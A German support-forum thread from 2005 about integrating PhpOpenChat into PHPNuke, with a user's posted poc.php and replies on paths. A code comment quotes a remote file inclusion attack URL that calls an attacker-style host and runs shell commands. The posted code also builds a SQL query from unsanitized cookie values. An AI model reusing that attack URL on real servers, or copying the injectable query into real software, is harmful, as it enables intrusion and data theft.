Dein Menü

Willkommen Gast. Bitte einloggen oder registrieren.
23. Mai 2012, 21:18:56

Einloggen mit Benutzername, Passwort und Sitzungslänge

Sprache wählen:

Spenden

Donate für den POC!
Deine Spende hilft dem Support, der Erhaltung des Chats und diesem Portal.

Anzeige Amazon

* Chartermember

* Bookmark

Bookmark and Share

* Werbung

vodafone.de
Share this topic on AskShare this topic on BlinkbitsShare this topic on BlinklistShare this topic on BloglinesShare this topic on BmarksShare this topic on Del.icio.usShare this topic on DiggShare this topic on DzoneShare this topic on FacebookShare this topic on Feed Me LinksShare this topic on FurlShare this topic on GoogleShare this topic on LiveShare this topic on MagnoliaShare this topic on MySpaceShare this topic on OneviewShare this topic on RedditShare this topic on ScuttleShare this topic on ShadowsShare this topic on SlashdotShare this topic on SpurlShare this topic on SquidooShare this topic on StumbleUponShare this topic on TwitterShare this topic on YahooShare this topic on Google buzz

Autor Thema: [gelöst] Integration in phpnuke 7.3  (Gelesen 7973 mal)

0 Mitglieder und 2 Gäste betrachten dieses Thema.

Offline WT_Lexi

  • Neuling
  • *
  • Beiträge: 5
  • Karma: 0
  • Ich liebe den POC ;-)
Re: [gelöst] Integration in phpnuke 7.3
« Antwort #30 am: 09. November 2005, 16:41:56 »
Hi, die aus dem Downloadbereich habe ich probiert. Ich hab aber irgendwie ein Brett vorm Kopf. Ich poste Dir mal meine poc.php.
Das Problem ist folgendes:

Sobald ich im Nuke als eingeloggter User auf den Chat klicke, werde ich aus Nuke ausgeloggt und POC meldet ein Gastzugang sei nicht möglich (hatte ich so eingestellt weil ja nur Nukeuser in den Chat sollen).

Zur Erklärung:
Ich nutze PHPNuke 7.8

Die Pfade sind wie folgt:
Absoluter Pfad zum PHPNuke: /srv/www/htdocs
Absoluter Pfad zu POC: /srv/www/htdocs/chat

POC und NUKE verwenden die selbe Datenbank.

Meine POC.PHP

Zitat
<?php //-*-php-*-
/*
  $Author: letreo $
  $Date: 2004/05/08 18:53:00 $
  $Source: /cvsroot/phpopenchat/chat3/contrib/phpnuke/Attic/poc.php,v $
  $Revision: 1.1.2.2 $
*/
//quick security fix
//'cause, if register_globals=on and allow_url_fopen=on
//the following is possible:
//http://www.victime.al/phpopenchat/contrib/phpbb/poc.php?phpbb_root_path=http://www.haxorz.al/asc?&cmd=uname%20-a;w;id;pwd;ps
//thx to the Albania Security Clan (Mafia_Boy)
//for finding the bug and bringing us to the light!
if( !function_exists('version_compare') || version_compare(PHP_VERSION, "4.1.0", "<") )
  die('please update your php installation');

$givenParams = array_keys($_REQUEST);
foreach($givenParams as $param )
  unset(${$param});

//NOTE: This script is programmed by DJ_pandur2000 an member of our german support forum at
//<http://www.phpopenchat.de/>
//If you have any question don't hesitate to contact
//DJ_Pandur2000 <pandur@pandur2000.com> <http://pandur2000.com/>

include("header.php");
OpenTable(); $index=0;


//PHPOpenChat properties
/*
supposition is, you have installed phpnuke and PHPOpenChat within the document root
of your webserver side by side.

<http://your.host.tld>
                      |
                      +</nuke>
                      |
                      +</phpopenchat>
*/

$poc_doc_root  = 'chat';
$poc_root_path = 'chat';

// Scripteinstellungen // Scriptsettings

$dbhost = "localhost";         // 'localhost' or 'www.yoursiteurl.com' if on a remote site
$dbuser = "****";           // username
$dbpwd = "****";            // password
$dbname = "****";       // the name of your database


$mysqlconnect = @mysql_connect($dbhost,$dbuser,$dbpwd);


$channelname = 'Toxic Clan Chat'; //Welcher Channel soll betreten werden
$deftheme = 'fijii'; // POC default Theme -- POC Standard Theme
$siteurl = 'http://www.toxic-power.de'; // Deine Domain URL -- Your Domain URL -- without ending  "/"
$nuke_prefix = 'nuke_'; // Prefix of phpnuke tables // Prefix der PHPnuke Tabellen.. Meist "nuke_"


// User oder Gast? -- User or Guest?


if ($cookie[1] == "") {

// Wenn Gastbenutzer, dann gebe folgenden Inhalt aus (anpassen bitte)
// If Guest, output the following and exit (please, edit ;) )

echo"<table class='fonts' width='100%' border='0' cellspacing='0'
cellpadding='0'>
<tr>
<td><p><font size='2' face='Georgia, Times New Roman, Times,
serif'><strong><font face='Verdana, Arial, Helvetica, sans-serif'>
Sorry, kein Gast-Login Moeglich!
</td>
  </tr>
</table>";

exit;
}


if ($cookie[1] != "") {
    $sql2 = "SELECT * FROM ".$nuke_prefix."users WHERE user_id='$cookie[0]'";
    $con2 = mysql_db_query($dbname,$sql2,$mysqlconnect);
    $list2 = mysql_fetch_assoc($con2);

$userid = $cookie[0];




$username = $list2["username"];

if( $username != 'Anonymous' ){
  require_once($poc_root_path.'/config.inc.php');
  require_once(POC_INCLUDE_PATH.'/class.Chatter.inc');
  require_once(POC_INCLUDE_PATH.'/adodb/adodb.inc.php');

  $chatter = &new POC_Chatter();
  $chatter->set_nick($list2[username]);

  $current_chatter = $chatter;//save current

  $chatter->set_user($list2[username]);
  $chatter->set_email($list2[user_email]); //is hidden by default
  $chatter->set_name($list2['name']);
  $chatter->set_homePageURL($list2[user_website]);
  $chatter->set_icqNumber($list2[user_icq]);
 // $chatter->set_motto($list2[12]);
  $chatter->set_aimNickname($list2[user_aim]);
  $chatter->set_yimNickname($list2[user_yim]);
  $chatter->set_interests($list2[user_interests]);
  if( !empty($list2[user_gender]) ) $gender = ($list2[user_gender]=='1')? 'm':'f';
  $chatter->set_gender($gender);
  unset($gender);
  $chatter->set_birthday($list2[user_age]);

  $chatter->set_theme( '$deftheme' );//use default theme of PHPOpenChat

  if( $list2[user_rank] == '1' ){
    $chatter->add_to_group('operator');
  }

  if( !empty($list2[user_lang]) ){
    $chatter->set_preferred_language($list2[user_lang]);
  }

  //do not send registration mails
  $chatter->set_skip_email();

  if( $current_chatter != $chatter ){
    if( !$chatter->is_registered()) {
      $chatter->register();
    } else {
      $chatter->update();
    }
  }
  unset($current_chatter);

  $chatter->mkinstance_persist();
  unset($chatter);


  header('Status: 301');
  header('Location: '.$siteurl.''.$poc_doc_root.'/index.php?use_db_instance='. $username .'&channel='.$channelname.'');
  exit;
}else{
  die('No guest login possible to the chat!');
}

}
CloseTable();
include("footer.php");

?>

Hallo WT_Lexi,


sorry habe da keine blanco Schnittstelle, habe bei @dr nur was abgeändert. Wenn du eine Schnittstelle hast, dann kann ich helfen. Ansonsten ist im Downloadbereich eine Intergration vorhanden.

gruss Shrakoo
« Letzte Änderung: 09. November 2005, 16:43:33 von WT_Lexi »

Shrakoo

  • Gast
Re: [gelöst] Integration in phpnuke 7.3
« Antwort #31 am: 09. November 2005, 18:21:51 »
Hallo WT_Lexi,

versuchs damit mal, evtl. ist der Ordner wo der Chat drin ist, anders benannt bei dir. Also nur den Ordner verändern.

$poc_doc_root  = "www.toxic-power.dei/poc302pw";
$poc_root_path = '/srv/www/htdocs/poc302pw';


ein Versuch ist es Wert.


gruss Shrakoo

Offline WT_Lexi

  • Neuling
  • *
  • Beiträge: 5
  • Karma: 0
  • Ich liebe den POC ;-)
Re: [gelöst] Integration in phpnuke 7.3
« Antwort #32 am: 09. November 2005, 18:28:22 »
Nö. Die Daten werden immer noch nicht übernommen.
Ich werde aus Nuke ausgeloggt und komme nicht in den Chat.

Hallo WT_Lexi,

versuchs damit mal, evtl. ist der Ordner wo der Chat drin ist, anders benannt bei dir. Also nur den Ordner verändern.

$poc_doc_root = "www.toxic-power.dei/poc302pw";
$poc_root_path = '/srv/www/htdocs/poc302pw';


ein Versuch ist es Wert.


gruss Shrakoo

Shrakoo

  • Gast
Re: [gelöst] Integration in phpnuke 7.3
« Antwort #33 am: 09. November 2005, 19:01:30 »
Hallo WT_Lexi,


ich habe einen kleinen Tippfehler, das soll nicht heißen dei sondern de, wäre doch nett wenn man das selbst noch mal anschaut, bevor man es einsetzt oder ;)


gruss Shrakoo

Offline WT_Lexi

  • Neuling
  • *
  • Beiträge: 5
  • Karma: 0
  • Ich liebe den POC ;-)
Re: [gelöst] Integration in phpnuke 7.3
« Antwort #34 am: 09. November 2005, 19:03:58 »
;-) Den Typo hatte ich schon bemerkt.
Was ich nicht verstehe ist, das die Nuke Userdaten nicht übernommen werden. Stattdessen loggt mich mein Nuke aus, wenn ich in den Chat gehen will. Dann ist es ja klar das ich ohne Cookie am Chat ankomme und der mich wie einen Gast sieht ;-(

Irgendwie klappt das mit dem anzapfen Der "nuke_users" Datenbank nicht.

Hallo WT_Lexi,


ich habe einen kleinen Tippfehler, das soll nicht heißen dei sondern de, wäre doch nett wenn man das selbst noch mal anschaut, bevor man es einsetzt oder ;)


gruss Shrakoo

Shrakoo

  • Gast
Re: [gelöst] Integration in phpnuke 7.3
« Antwort #35 am: 09. November 2005, 19:37:16 »
Hallo WT_Lexi,

ich werde morgen das NUKE laden auf meinem Server und dir dann berichten was gemacht werden muss. Solange habe bitte geduldt und verfahre auf deiner Seite alternativ, in dem du entweder den chat solange nicht zugänglich machst oder lässt den Chat als Standalone laufen.


gruss Shrakoo

POC -PhpOpenChat- Portal

« am: »

Tags:
 

Bequem im Web suchen direkt von hier!

Benutzerdefinierte Suche

Anzeige

www.medionshop.de

Unser Server

www.strato.de -> hier klicken

* Domain Frei?

* Anzeige

Multi Suche


Web
www.phpopenchat.de
www.h-h-c.de

* Networks

Follow Phpopenchat on Twitter
Portal Management Extension PortaMx v0.980-1 | PortaMx © 2008-2010 by PortaMx corp.